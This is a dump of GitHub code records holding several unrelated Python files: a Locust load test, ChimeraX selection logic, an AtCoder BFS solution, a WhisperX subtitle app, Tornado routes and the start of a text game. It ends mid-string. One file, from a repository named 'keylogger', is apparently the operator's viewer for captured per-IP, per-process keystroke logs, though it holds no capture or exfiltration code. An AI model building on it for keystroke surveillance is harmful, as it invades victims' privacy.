headers={\"Accept\": \"application/octet-stream\"},\n                    stream=True,\n                ).close()\n\n            group = Group()\n            group.spawn(layout)\n            group.spawn(varAnnotationIndex)\n            group.join()\n\n        @seq_task(4)\n        def loadObsAnnotations(self):\n            def obs_annotation(name):\n                self.client.get(\n                    f\"{self.dataset}{API}/annotations/obs?annotation-name={name}\",\n                    headers={\"Accept\": \"application/octet-stream\"},\n                    stream=True,\n                ).close()\n\n            obs_names = self.parent.obs_annotation_names()\n            group = Group()\n            for name in obs_names:\n                group.spawn(obs_annotation, name)\n            group.join()\n\n        @seq_task(5)\n        def done(self):\n            self.interrupt()\n\n    @task(1)\n    def load_expression(self):\n        \"\"\"\n        Simulate user occasionally loading some expression data for a gene\n        \"\"\"\n        gene_name = random.choice(self.gene_names)\n        filter = {\"filter\": {\"var\": {\"annotation_value\": [{\"name\": self.var_index_name(), \"values\": [gene_name]}]}}}\n        self.client.put(\n            f\"{self.dataset}{API}/data/var\",\n            data=json.dumps(filter),\n            headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/octet-stream\"},\n            stream=True,\n        ).close()\n\n\nclass CellxgeneUser(HttpLocust):\n    task_set = ViewDataset\n\n    # most ops do not require back-end interaction, so slow cadence\n    # for users\n    wait_time = between(10, 60)\n","repo_name":"ElucidataInc/cellxgene","sub_path":"server/test/locust/locustfile.py","file_name":"locustfile.py","file_ext":"py","file_size_in_byte":5490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74967298429","text":"from PyQt5.QtGui import QIcon\nfrom PyQt5.QtWidgets import QApplication, QVBoxLayout, QHBoxLayout, QLabel, QPlainTextEdit, QListWidget, QWidget, QMessageBox, QStatusBar, QCheckBox\nfrom PyQt5.QtCore import pyqtSignal, pyqtSlot, QRunnable, QThreadPool\nimport qdarkstyle\nimport sys\nimport os\nfrom datetime import datetime\n\n\nclass GUI(QWidget):\n    def __init__(self):\n        super(GUI, self).__init__()\n\n        self.title = \"server\"\n        self.icon_name = \"icon.ico\"\n        self.thread_pool = QThreadPool()\n        self.all_ip = []\n        self.all_text = {}  # {ip:{process_name : text}}\n        self.cur_ip = \"\"\n        self.cur_proc = \"\"\n\n        self.InitUI()\n        self.load_data()\n\n\n    def InitUI(self):\n        # 기본 설정\n        self.setWindowTitle(self.title)\n        self.setWindowIcon(QIcon(self.icon_name))\n        self.setGeometry(200, 200, 1000, 700)\n\n        # 레이아웃 선언부\n        mainbox = QVBoxLayout()\n        vbox1 = QVBoxLayout()\n        vbox2 = QVBoxLayout()\n        hbox = QHBoxLayout()\n        underbox = QHBoxLayout()\n\n        # element 선언부\n        self.ip_label = QLabel(\"연결된 IP 목록\", self)\n        self.ip_list = QListWidget(self)\n        self.ip_list.clicked.connect(self.ip_listview_clicked)\n\n        self.proc_label = QLabel(\"연결된 프로세스 목록\", self)\n        self.proc_list = QListWidget(self)\n        self.proc_list.clicked.connect(self.proc_listview_clicked)\n        self.textarea = QPlainTextEdit(self)\n        self.textarea.setReadOnly(True)\n\n        self.statusbar = QStatusBar()\n        self.check_label = QLabel('현재 프로세스 추적', self)\n        self.checkbox = QCheckBox(self)\n        self.checkbox.setChecked(True)\n\n        # 위젯 & 레이아웃 정렬\n        vbox1.addWidget(self.ip_label)\n        vbox1.addWidget(self.ip_list)\n        vbox2.addWidget(self.proc_label)\n        vbox2.addWidget(self.proc_list)\n        hbox.addLayout(vbox1, stretch=4)\n        hbox.addLayout(vbox2, stretch=8)\n        hbox.addWidget(self.textarea, stretch=15)\n        underbox.addWidget(self.statusbar)\n        underbox.addWidget(self.check_label)\n        underbox.addWidget(self.checkbox)\n        mainbox.addLayout(hbox)\n        mainbox.addLayout(underbox)\n        self.setLayout(mainbox)\n\n\n    @pyqtSlot()\n    def ip_listview_clicked(self):\n        \"\"\"  ip리스뷰 클릭시 \"\"\"\n        item = self.ip_list.currentIndex()\n        item = str(item.text())\n        self.all_text[self.cur_ip][self.cur_proc] = self.textarea.toPlainText()\n        self.cur_ip = item\n        if self.all_ip[self.cur_ip]:\n            self.cur_proc = next(iter(self.all_ip[self.cur_ip]))  # 가장 처음 시작된 프로세스로\n        else:\n            self.cur_proc = None\n        self.textarea.clear()\n        if self.all_text[self.cur_ip][self.cur_proc]:\n            self.append_message(self.all_text[self.cur_ip][self.cur_proc])\n\n    def listview_update(self, ips):\n        try:\n            self.ip_list.clear()\n            self.ip_list.addItems(ips)\n\n            if self.cur_ip not in ips:\n                self.statusbar.showMessage(\"연결된 ip가 없습니다\")\n                return\n\n\n        except:\n            self.statusbar.showMessage(\"Except!!\")\n\n    @pyqtSlot()\n    def proc_listview_clicked(self):\n        \"\"\" process 리스트뷰 클릭시\"\"\"\n        item = self.ip_list.currentIndex()\n        item = str(item.text())\n        self.all_text[self.cur_ip][self.cur_proc] = self.textarea.toPlainText()\n        self.cur_proc = item\n        self.textarea.clear()\n        if self.all_text[self.cur_ip][self.cur_proc]:\n            self.append_message(self.all_text[self.cur_ip][self.cur_proc])\n\n\n    def load_data(self):\n        \"\"\" 기존에 연결된 ip 데이터 로드\"\"\"\n        for (path, dirc, files) in os.walk(os.getcwd() + \"\\\\log\"):\n            for filename in files:\n                ext = os.path.splitext(filename)[-1]\n                if ext == '.log':\n                    ip = path.split(\"\\\\\")[-1]\n                    pname = filename\n                    with open(path+'\\\\'+filename, 'rt') as f:\n                        if not ip in self.all_text:\n                            self.all_text[ip] = dict()\n                        self.all_text[ip][pname] = \"\".join(f.readlines())\n\n\n    def save_data(self):\n        \"\"\" 연결되었던 ip 파일에 로그 저장 \"\"\"\n        now = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n        for ip in self.all_ip:\n            for pname in self.all_text[ip]:\n                path = os.getcwd() + '\\\\log\\\\' + ip + '\\\\' + pname\n                with open(path, 'wt') as f:\n                    f.writelines(self.all_text[ip][pname] + now + '\\n' + '='*40 + '\\n\\n')\n\n\n\n    def append_message(self, message):\n        \"\"\" 메세지를 추가함 \"\"\"\n        self.textarea.appendPlainText(\n            message)  # insert vs append \"\\n\"이 없냐 있냐 & 자동 스크롤이 안되냐 되냐 차이\n        self.textarea.viewport().update()\n\n    def closeEvent(self, event):\n        \"\"\" 종료시 모든 데이터 저장 \"\"\"\n        close = QMessageBox.question(self,\n                                   \"QUIT\",\n                                   \"정말 나가시겠습니까??\",\n                                   QMessageBox.Yes | QMessageBox.No)\n        if close == QMessageBox.Yes:\n            self.hide()  # 화면을 숨기고 데이터를 저장후 종료\n            self.save_data()\n            event.accept()\n        else:\n            event.ignore()\n\napp = QApplication(sys.argv)\napp.setStyleSheet(qdarkstyle.load_stylesheet_pyqt5())\ngui = GUI()\ngui.show()\nsys.exit(app.exec_())","repo_name":"ghdic/keylogger","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":5604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74936007870","text":"SELECTION_CHANGED = 'selection changed'\n\nclass Selection:\n\n    def __init__(self, sess):\n        self._all_models = sess.models\t# Models object\n        self._promotion = SelectionPromoter(self._all_models.scene_root_model)\n        sess.triggers.add_trigger(SELECTION_CHANGED)\n        # XXX: SELECTION_CHANGED trigger is currently fired in by\n        # atomic.structure.StructureGraphicsChangeManager\n        # Maybe it should be moved up to Model level somehow?\n        self._trigger_fire_needed = False\n\n    def models(self, all_selected=False):\n        if all_selected:\n            return [m for m in self._all_models if m.get_selected(include_children=True, fully=True)]\n        return [m for m in self._all_models if m.get_selected(include_children=True)]\n\n    def items(self, itype):\n        si = []\n        for m in self.models():\n            s = m.selected_items(itype)\n            si.extend(s)\n        return si\n\n    def empty(self):\n        for m in self._all_models:\n            if m.selected:\n                return False\n        return True\n\n    def clear(self):\n        for m in self.models():\n            m.clear_selection()\n\n    def clear_promotion_history(self):\n        self._promotion.clear_selection_promotion_history()\n\n    def promote(self, session):\n        from .undo import UndoState\n        undo_state = UndoState(\"select up\")\n        self.undo_add_selected(undo_state, False)\n        self._promotion.promote_selection()\n        self.undo_add_selected(undo_state, True, old_state=False)\n        session.undo.register(undo_state)\n\n    def demote(self, session):\n        from .undo import UndoState\n        undo_state = UndoState(\"select down\")\n        self.undo_add_selected(undo_state, False)\n        self._promotion.demote_selection()\n        self.undo_add_selected(undo_state, True, old_state=False)\n        session.undo.register(undo_state)\n\n    def undo_add_selected(self, undo_state, new_state, old_state=None):\n        from chimerax.atomic import Atoms, Bonds, Pseudobonds\n        for oname, otype in (('atoms', Atoms), ('bonds', Bonds), ('pseudobonds', Pseudobonds)):\n            items = self.items(oname)\n            if items:\n                if isinstance(items, otype):\n                    orig = self._orig_state(items, old_state)\n                    undo_state.add(items, \"selected\", orig, new_state)\n                else:\n                    for i in items:\n                        orig = self._orig_state(i, old_state)\n                        undo_state.add(i, \"selected\", orig, new_state)\n        models = [m for m in self._all_models if m.selected]\n        if models:\n            for m in models:\n                orig = old_state if old_state is not None else m.selected\n                undo_state.add(m, \"set_model_selected\", orig, new_state, \"M\")\n\n    @property\n    def trigger_fire_needed(self):\n        return self._trigger_fire_needed\n\n    @trigger_fire_needed.setter\n    def trigger_fire_needed(self, needed):\n        self._trigger_fire_needed = needed\n\n    def _orig_state(self, owner, old_state):\n        if old_state is None:\n            return owner.selected\n        else:\n            import numpy\n            if old_state:\n                return numpy.ones(len(owner), dtype=numpy.bool_)\n            else:\n                return numpy.zeros(len(owner), dtype=numpy.bool_)\n\n\nclass SelectionPromoter:\n\n    def __init__(self, root_drawing):\n        self._drawing = root_drawing\n        self._promotion_history = []\n\n    def promote_selection(self):\n        '''\n        Select the next larger containing group.  If one child is\n        selected, then all become selected.\n        '''\n\n        plist = []\n        self._find_deepest_promotions(self._drawing, plist)\n\n        for p in plist:\n            p.promote()\n\n        if plist:\n            self._promotion_history.append(plist)\n\n    def _find_deepest_promotions(self, drawing, promotions, level = 0, sel = None):\n        '''\n        Find the deepest level in the hierarchy rooted at drawing\n        where a selection promotion can be done.  Accumulate all \n        selection promotions at that level in promotions lists.\n        '''\n\n        # TODO: Make this use selection instead of drawing highlighting to determine promotions.\n\n        if sel is None:\n            # Drawings that are partially selected\n            # or has some descendant partially selected.\n            sel = set()\n\n        # Check for intra-model promotion\n        if hasattr(drawing, 'selection_promotion'):\n            p = drawing.selection_promotion()\n            if p:\n                self._add_promotion(p, promotions)\n            if p or drawing.any_part_highlighted():\n                sel.add(drawing)\n\n        # Check for deeper promotions\n        children = drawing.child_models()\n        for c in children:\n            self._find_deepest_promotions(c, promotions, level+1, sel)\n            if c in sel:\n                sel.add(drawing)\n\n        # Add drawing to selected set if it is selected.\n        if drawing not in sel:\n            sp = drawing.highlighted_positions\n            if sp is not None and sp.sum() > 0:\n                sel.add(drawing)\n\n        # If no deeper promotions can this drawing be selected.\n        if len(promotions) == 0 or promotions[0].level <= level:\n            # Check if some but not all children are selected.\n            nsel = [c for c in children if c not in sel]\n            if nsel:\n                if len(nsel) < len(children):\n                    # Some children are selected so select all children\n                    for c in nsel:\n                        self._add_promotion(ModelSelectionPromotion(c,level+0.5), promotions)\n            elif children and not drawing.highlighted and drawing is not self._drawing:\n                # All children selected so select parent\n                self._add_promotion(ModelSelectionPromotion(drawing,level), promotions)\n\n            # Check if some but not all instances are selected.\n            sp = drawing.highlighted_positions\n            if sp is not None:\n                ns = sp.sum()\n                if ns < len(sp) and ns > 0:\n                    # Some instances are selected so select all instances\n                    self._add_promotion(ModelSelectionPromotion(drawing,level + 0.3), promotions)\n                    sel.add(drawing)\n\n    def _add_promotion(self, p, promotions):\n        '''\n        Added a SelectionPromotion to the list of deepest promotions.\n        '''\n        if len(promotions) == 0 or p.level == promotions[0].level:\n            promotions.append(p)\n        elif p.level > promotions[0].level:\n            promotions.clear()\n            promotions.append(p)\n\n    def demote_selection(self):\n        '''If the selection has previously been promoted, this returns\n        it to the previous smaller selection.'''\n        ph = self._promotion_history\n        if len(ph) == 0:\n            return False\n        for p in ph.pop():\n            p.demote()\n        return True\n\n    def clear_selection_promotion_history(self):\n        '''\n        Forget the selection history promotion history.\n        This is used when the selection is changed manually.\n        '''\n        self._promotion_history.clear()\n\n\nclass SelectionPromotion:\n    def __init__(self, level):\n        self.level = level\n    def promote(self):\n        pass\n    def demote(self):\n        pass\n\nclass ModelSelectionPromotion(SelectionPromotion):\n    def __init__(self, model, level):\n        SelectionPromotion.__init__(self, level)\n        self.model = model\n        spos = model.selected_positions\n        self._prev_selected = None if spos is None else spos.copy()\n    def promote(self):\n        m = self.model\n        if not m.deleted:\n            m.selected = True\n    def demote(self):\n        m = self.model\n        if not m.deleted:\n            m.selected = False\t# This may clear child drawing selections.\n            m.selected_positions = self._prev_selected\n","repo_name":"RBVI/ChimeraX","sub_path":"src/bundles/core/src/selection.py","file_name":"selection.py","file_ext":"py","file_size_in_byte":7938,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"60"}
+{"seq_id":"5058167186","text":"\"\"\"\n・グリッドBFS応用\n・pypyTLEでC++ACなのでそっちで。\n\"\"\"\n\nimport sys\n\ndef input(): return sys.stdin.readline().strip()\ndef list2d(a, b, c): return [[c] * b for i in range(a)]\ndef list3d(a, b, c, d): return [[[d] * c for j in range(b)] for i in range(a)]\ndef list4d(a, b, c, d, e): return [[[[e] * d for k in range(c)] for j in range(b)] for i in range(a)]\ndef ceil(x, y=1): return int(-(-x // y))\ndef INT(): return int(input())\ndef MAP(): return map(int, input().split())\ndef LIST(N=None): return list(MAP()) if N is None else [INT() for i in range(N)]\ndef Yes(): print('Yes')\ndef No(): print('No')\ndef YES(): print('YES')\ndef NO(): print('NO')\nsys.setrecursionlimit(10**9)\nINF = 10**19\nMOD = 10**9 + 7\nEPS = 10**-10\n\ndef build_grid(H, W, intv, _type, space=False, padding=True):\n    if space:\n        _input = lambda: input().split()\n    else:\n        _input = lambda: input()\n    _list = lambda: list(map(_type, _input()))\n    if padding:\n        offset = 1\n    else:\n        offset = 0\n    grid = list2d(H+offset*2, W+offset*2, intv)\n    for i in range(offset, H+offset):\n        row = _list()\n        for j in range(offset, W+offset):\n            grid[i][j] = row[j-offset]\n    return grid\n\ndef bfs(grid, grid2, src):\n    \"\"\" BFS(グリッド、重みなし) \"\"\"\n    from collections import deque\n\n    H, W = len(grid), len(grid[0])\n    directions = ((-1, 0), (1, 0), (0, -1), (0, 1))\n    dist = list2d(H, W, 0)\n    que = deque()\n    for h, w in src:\n        que.append((h, w))\n        dist[h][w] = 1\n    while que:\n        h, w = que.popleft()\n        for i, (dh, dw) in enumerate(directions):\n            nh = h + dh\n            nw = w + dw\n            if grid[nh][nw] == '#':\n                continue\n            if not grid2[nh][nw][i]:\n                continue\n            if dist[nh][nw]:\n                continue\n            dist[nh][nw] = 1\n            que.append((nh, nw))\n    return dist\n\nH, W = MAP()\nsi, sj = MAP()\ngrid = build_grid(H, W, '#', str)\n\ngrid2 = list3d(H+2, W+2, 4, 1)\nfor i in range(1, H+1):\n    for j in range(1, W+1):\n        if grid[i][j] == '<':\n            grid2[i][j] = [0] * 4\n            grid2[i][j][3] = 1\n        elif grid[i][j] == '>':\n            grid2[i][j] = [0] * 4\n            grid2[i][j][2] = 1\n        elif grid[i][j] == '^':\n            grid2[i][j] = [0] * 4\n            grid2[i][j][1] = 1\n        elif grid[i][j] == 'v':\n            grid2[i][j] = [0] * 4\n            grid2[i][j][0] = 1\nres = bfs(grid, grid2, [(si, sj)])\n\nans = list2d(H+2, W+2, '#')\nfor i in range(1, H+1):\n    for j in range(1, W+1):\n        if grid[i][j] != '#':\n            if res[i][j]:\n                ans[i][j] = 'o'\n            else:\n                ans[i][j] = 'x'\nfor i in range(1, H+1):\n    print(''.join(ans[i][1:W+1]))\n","repo_name":"Coki628/kyopro_submissions","sub_path":"AtCoder/past202012-open/past202012_h.py","file_name":"past202012_h.py","file_ext":"py","file_size_in_byte":2766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6878657130","text":"import whisperx\r\nimport gc\r\nimport pysrt\r\nimport gradio as gr\r\nimport torch\r\nfrom deep_translator import GoogleTranslator\r\nfrom pytube import YouTube\r\nimport os\r\nimport time\r\n\r\ndef source_change(source):\r\n    if source == 'Youtube':\r\n        yt = gr.Textbox.update(visible=True)\r\n        audio = gr.Audio.update(visible=False)\r\n        video = gr.Video.update(visible=False)\r\n        directory = gr.Textbox.update(visible=False)\r\n    elif source == 'Audio File':\r\n        yt = gr.Textbox.update(visible=False)\r\n        audio = gr.Audio.update(visible=True)\r\n        video = gr.Video.update(visible=False)\r\n        directory = gr.Textbox.update(visible=False)\r\n    elif source == 'Video File':\r\n        yt = gr.Textbox.update(visible=False)\r\n        audio = gr.Audio.update(visible=False)\r\n        video = gr.Video.update(visible=True)\r\n        directory = gr.Textbox.update(visible=False)\r\n    elif source == 'Directory':\r\n        yt = gr.Textbox.update(visible=False)\r\n        audio = gr.Audio.update(visible=False)\r\n        video = gr.Video.update(visible=False)\r\n        directory = gr.Textbox.update(visible=True)\r\n\r\n    return yt, audio, video, directory\r\n\r\ndef device_change(device):\r\n    if device == 'cpu':\r\n        vram = gr.Checkbox.update(value=False, visible=False)\r\n        diarization = gr.Checkbox.update(value=False, visible=False)\r\n    else:\r\n        vram = gr.Checkbox.update(value=False, visible=True)\r\n        diarization = gr.Checkbox.update(value=False, visible=True)\r\n    return vram, diarization\r\n\r\ndef diarization_check(diarization, auto_sp):\r\n    if diarization:\r\n        hf = gr.Textbox.update(visible=True)\r\n        auto_sp = gr.Checkbox.update(value=True, visible=True)\r\n        min_sp = gr.Slider.update(visible=False)\r\n        max_sp = gr.Slider.update(visible=False)\r\n    else:\r\n        hf = gr.Textbox.update(visible=False)\r\n        auto_sp = gr.Checkbox.update(value=True, visible=False)\r\n        min_sp = gr.Slider.update(visible=False)\r\n        max_sp = gr.Slider.update(visible=False)\r\n    return hf, auto_sp, min_sp, max_sp\r\n\r\ndef auto_sp_change(auto_sp):\r\n    if auto_sp == True:\r\n        min_sp = gr.Slider.update(visible=False)\r\n        max_sp = gr.Slider.update(visible=False)\r\n    else:\r\n        min_sp = gr.Slider.update(visible=True)\r\n        max_sp = gr.Slider.update(visible=True)\r\n    return min_sp, max_sp\r\n\r\ndef generate_srt(source, yt, audio_file, video_file, directory, language_code, model, device, vram, diarization, hf_token, auto_sp, min_sp, max_sp):\r\n    global sub_return\r\n\r\n    if vram:\r\n        compute_type = \"int8\"\r\n        batch_size = 8\r\n    else:\r\n        batch_size = 16\r\n        compute_type = \"float16\"\r\n\r\n    if device=='cpu':\r\n        compute_type = \"int8\"\r\n    else:\r\n        compute_type = \"float16\"\r\n\r\n    if source == 'Youtube':\r\n        youtube = YouTube(yt)\r\n        youtube.streams.filter(type='audio', subtype='mp4')[-1].download(filename=youtube.title+'.mp4')\r\n        audio_files = [youtube.title+'.mp4']\r\n        print(audio_files)\r\n    elif source == 'Audio File':\r\n        audio_files = [audio_file]\r\n        print(audio_files)\r\n    elif source == 'Video File':\r\n        audio_files = [video_file]\r\n        print(audio_files)\r\n    elif source == 'Directory':\r\n        audio_files = [os.path.join(directory, f) for f in os.listdir(directory) if os.path.isfile(os.path.join(directory, f))]\r\n        print(audio_files)\r\n\r\n    start_time = time.time()\r\n    sub_return = []\r\n    for audio_file in audio_files:\r\n        try:\r\n            # 1. Transcribe with original whisper (batched)\r\n            if language_code == \"Auto\":\r\n                whisper_model = whisperx.load_model(model, device, compute_type=compute_type)\r\n            elif language_code == \"english\":\r\n                if model in ['tiny', 'base', 'small', 'medium']:\r\n                    whisper_model = whisperx.load_model(model+'.en', device, compute_type=compute_type, language=GoogleTranslator().get_supported_languages(as_dict=True)[language_code])\r\n                else:\r\n                    whisper_model = whisperx.load_model(model, device, compute_type=compute_type, language=GoogleTranslator().get_supported_languages(as_dict=True)[language_code])\r\n            else:\r\n                whisper_model = whisperx.load_model(model, device, compute_type=compute_type, language=GoogleTranslator().get_supported_languages(as_dict=True)[language_code])\r\n            audio = whisperx.load_audio(audio_file)\r\n            result = whisper_model.transcribe(audio, batch_size=batch_size)\r\n            gc.collect(); torch.cuda.empty_cache(); del whisper_model\r\n\r\n            # 2. Align whisper output\r\n            model_a, metadata = whisperx.load_align_model(language_code=result[\"language\"], device=device)\r\n            result = whisperx.align(result[\"segments\"], model_a, metadata, audio, device, return_char_alignments=False)\r\n            gc.collect(); torch.cuda.empty_cache(); del model_a\r\n\r\n            # 3. Generate subtitles\r\n            if diarization:\r\n                diarize_model = whisperx.DiarizationPipeline(use_auth_token=hf_token, device=device)\r\n                if auto_sp:\r\n                    diarize_segments = diarize_model(audio)\r\n                else:\r\n                    if min_sp < max_sp:\r\n                        diarize_segments = diarize_model(audio, min_speakers=min_sp, max_speakers=max_sp)\r\n                    else:\r\n                        diarize_segments = diarize_model(audio, min_speakers=max_sp, max_speakers=max_sp)\r\n                result = whisperx.assign_word_speakers(diarize_segments, result)\r\n                torch.cuda.empty_cache()\r\n\r\n                speakers = set([r['speaker'] for r in result['segments']])\r\n                for speaker in speakers:\r\n                    subs = pysrt.SubRipFile()\r\n                    for i in range(len(result['segments'])):\r\n                        if result['segments'][i]['speaker'] == speaker:\r\n                            subs.append(pysrt.SubRipItem(i+1,start=pysrt.SubRipTime(seconds=result['segments'][i]['start']), end=pysrt.SubRipTime(seconds=result['segments'][i]['end']), text=result['segments'][i]['text']))\r\n                    subs.save(f\"{audio_file.split('.')[0]}-{speaker}.srt\")\r\n                    sub_return.append(f\"{audio_file.split('.')[0]}-{speaker}.srt\")\r\n\r\n            else:\r\n                torch.cuda.empty_cache()\r\n                subs = pysrt.SubRipFile()\r\n                for i in range(len(result['segments'])):\r\n                    subs.append(pysrt.SubRipItem(i+1,start=pysrt.SubRipTime(seconds=result['segments'][i]['start']), end=pysrt.SubRipTime(seconds=result['segments'][i]['end']), text=result['segments'][i]['text']))\r\n                subs.save(f\"{audio_file.split('.')[0]}.srt\")\r\n                sub_return.append(f\"{audio_file.split('.')[0]}.srt\")\r\n        except:\r\n            print(f\"\\n{audio_file} => is not a valid media file\\n\")\r\n\r\n    return gr.File.update(sub_return, label=f'Total time: {int(time.time() - start_time)} s')\r\n\r\ndef translate_srt(output, translate, progress=gr.Progress()):\r\n    if output == None:\r\n        pass\r\n    else:\r\n        start_time = time.time()\r\n        target_lang = language_dict[translate]\r\n        sub2_return = []\r\n        for i in output:\r\n            subs = pysrt.open(i.name)\r\n            for j in progress.tqdm(range(len(subs)), desc=os.path.basename(i.name)):\r\n                subs[j].text = GoogleTranslator(source='auto', target=target_lang).translate(subs[j].text)\r\n            file_name = os.path.basename(i.name)\r\n            file_name = os.path.splitext(file_name)[0] + f'-{target_lang}.srt'\r\n            subs.save(file_name, encoding='utf-8')\r\n            sub2_return.append(file_name)\r\n\r\n        return gr.File.update(sub2_return, label=f'Total time: {int(time.time() - start_time)} s') \r\n\r\n##############################################################\r\n\r\nlanguage_dict = {\r\n    \"English\": \"en\",\r\n    \"Bahasa (Indonesian)\": \"id\",\r\n    \"Català (Catalan)\": \"ca\",\r\n    \"Čeština (Czech)\": \"cs\",\r\n    \"Dansk (Danish)\": \"da\",\r\n    \"Deutsch (German)\": \"de\",\r\n    \"Eesti (Estonian)\": \"et\",\r\n    \"Español (Spanish)\": \"es\",\r\n    \"Français (French)\": \"fr\",\r\n    \"Italiano (Italian)\": \"it\",\r\n    \"Latviešu (Latvian)\": \"lv\",\r\n    \"Lietuvių (Lithuanian)\": \"lt\",\r\n    \"Magyar (Hungarian)\": \"hu\",\r\n    \"Nederlands (Dutch)\": \"nl\",\r\n    \"Norsk (Norwegian)\": \"no\",\r\n    \"Polski (Polish)\": \"pl\",\r\n    \"Português (Portuguese)\": \"pt\",\r\n    \"Română (Romanian)\": \"ro\",\r\n    \"Slovenčina (Slovak)\": \"sk\",\r\n    \"Suomi (Finnish)\": \"fi\",\r\n    \"العربية (Arabic)\": \"ar\",\r\n    \"Ελληνικά (Greek)\": \"el\",\r\n    \"עברית (Hebrew)\": \"iw\",\r\n    \"हिन्दी (Hindi)\": \"hi\",\r\n    \"日本語 (Japanese)\": \"ja\",\r\n    \"한국어 (Korean)\": \"ko\",\r\n    \"Русский (Russian)\": \"ru\",\r\n    \"中文 (简体) [Chinese Simplified]\": \"zh-CN\",\r\n    \"中文 (繁體) [Chinese Traditional]\": \"zh-TW\"\r\n}\r\n\r\nif torch.cuda.is_available():\r\n    device_choices = ['cuda', 'cpu']\r\nelse:\r\n    device_choices = ['cpu']\r\nsub_return = []\r\n\r\nwith gr.Blocks(title='ibarcena.net') as app:\r\n    html = '''\r\n        <a href='https://ibarcena.net/me'>\r\n            <img src='https://ibarcena.net/content/images/2023/08/io2b-1.png alt='ibarcena.net/me'>\r\n        </a>\r\n    '''\r\n    gr.HTML(html)\r\n\r\n    with gr.Row():\r\n        with gr. Column():\r\n            source = gr.Radio(choices=['Youtube', 'Audio File', 'Video File', 'Directory'], label=\"Source\", value='Audio File')\r\n            yt = gr.Textbox(label=\"Youtube link\", visible=False)\r\n            directory = gr.Textbox(label=\"Directory\", visible=False)\r\n            audio = gr.Audio(source=\"upload\", type='filepath', label=\"Audio File\")\r\n            video = gr.Video(source=\"upload\", label=\"Video File\")\r\n\r\n            language_code = gr.Dropdown(choices = [\"Auto\"] + list(GoogleTranslator().get_supported_languages(as_dict=True).keys()), label=\"Language\", value=\"Auto\")\r\n            model = gr.Dropdown(choices=['tiny', 'base', 'small', 'medium', 'large-v2'], value=\"small\", label=\"Model Size\")\r\n            device = gr.Dropdown(choices=device_choices, value=device_choices[0], label=\"Device\")\r\n\r\n            if device.value == 'cpu':\r\n                vram = gr.Checkbox(value=False, label=\"Low memory mode\", visible=False)\r\n                diarization = gr.Checkbox(default=False, label=\"Diarization\", visible=False)\r\n            else:\r\n                vram = gr.Checkbox(value=False, label=\"Low memory mode\", visible=True)\r\n                diarization = gr.Checkbox(default=False, label=\"Diarization\", visible=True)\r\n\r\n            hf_token = gr.Textbox(label='Hugging Face Token', visible=False)\r\n            with gr.Row():\r\n                auto_sp = gr.Checkbox(label=\"Auto Number of speakers\", value=True, visible=False)\r\n                min_sp = gr.Slider(label=\"Min\", value=1, minimum=1, maximum=10, step=1, visible=False)\r\n                max_sp = gr.Slider(label=\"Max\", value=1, minimum=1, maximum=10, step=1, visible=False)\r\n\r\n            run = gr.Button('Run')\r\n\r\n        with gr.Column():\r\n            output = gr.File(label=\"SRT File\", file_count='multiple')\r\n            translate = gr.Dropdown(list(language_dict.keys()), label=\"Translate to\", value=\"English\")\r\n            translate_btn = gr.Button(\"Translate\")\r\n            output2 = gr.File(label=\"SRT File\", file_count='multiple')\r\n\r\n    source.change(fn=source_change, inputs=[source], outputs=[yt, audio, video, directory])\r\n    device.change(fn=device_change, inputs=[device], outputs=[vram, diarization])\r\n    diarization.change(fn=diarization_check, inputs=[diarization, auto_sp], outputs=[hf_token, auto_sp, min_sp, max_sp])\r\n    auto_sp.change(fn=auto_sp_change, inputs=[auto_sp], outputs=[min_sp, max_sp])\r\n    run.click(fn=generate_srt, inputs=[source, yt, audio, video, directory, language_code, model, device, vram, diarization, hf_token, auto_sp, min_sp, max_sp], outputs=[output])\r\n    translate_btn.click(fn=translate_srt, inputs=[output, translate], outputs=[output2])\r\n\r\n    app.queue().launch(share=False, debug=True)\r\n","repo_name":"procrastinando/audio-to-subtitle-diarization-","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41067464892","text":"#!/usr/bin/env python\n# encoding: utf-8\nfrom .handlers import *\nfrom tornado.web import url\n\nurlpattern = (\n    url(r'/upload/', UploadHandler),\n    url(r'/ueditor', UeditorHandler),\n    url(r'/upload/(.*)', StaticFileHandler, {'path': 'upload'}),\n)\n","repo_name":"vannesspeng/TornadoForum","sub_path":"Myforum/apps/ueditor/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"16382445793","text":"import os,time,platform\nimport role1, role2, game\n\n'''this function is used to quickly check what os the user is using '''\ndef osChecker():\n    clean = ''\n    if platform.system() == \"Windows\":\n        clean = \"cls\"\n    if platform.system() == \"Darwin\":\n        clean = \"clear\"\n    return clean\n\n'''The mainMenu function will show the user a basic menu that will allow them to either start the game quit or read the rules,\nIf the user wants to read the rules they will be redreicted to the mainmenu to either start or quit'''\ndef mainMenu(clean):\n    while True:\n        #show the user the options they have and allow them to input their choice\n        userIn = input(\"\\n    S to Start\\n    Q to Quit\\n    R for Rules\\n\\n --> \")\n        # os.system('cls') is used to clear the terminal \n        os.system(clean)\n        if userIn.lower() == 's':\n            return userIn\n        elif userIn.lower() == 'q':\n            return userIn\n        elif userIn.lower() == 'r':\n            os.system(clean)\n            print(\"Rules: \\n    In this game everything is done with a pair of dice, \\n Each role has their own attributes and challenges\\n There are 3 challenges for each role. Each one is connected to a specific attribute\\n If you win the challenge, the attribute will increase, if you lose it will decrease. \\n If you are to fail the challenge then you will be brought to the next challenge as if you had won the previous one. In order to win, you must get at least 3 in one of the attributes. \")\n            #If the user does not input a vaild value they well be asked to try again\n        elif userIn != 's' or userIn != 'q' or userIn != 'r':\n            print('Invalid. Try Again')\n            \n'''The welcomeMsg function is used to print the intro stroy to the user,\nso that they can get a breif understanding of what is going on, Also I use \nos.system('clear') to clear the terminal so that as the program starts the user gets a clear display'''\ndef welcomeMsg(clean):\n    # prints the story and roles to the user\n    os.system(clean)\n    msg = '''    Welcome to Cell Block-C\n    In 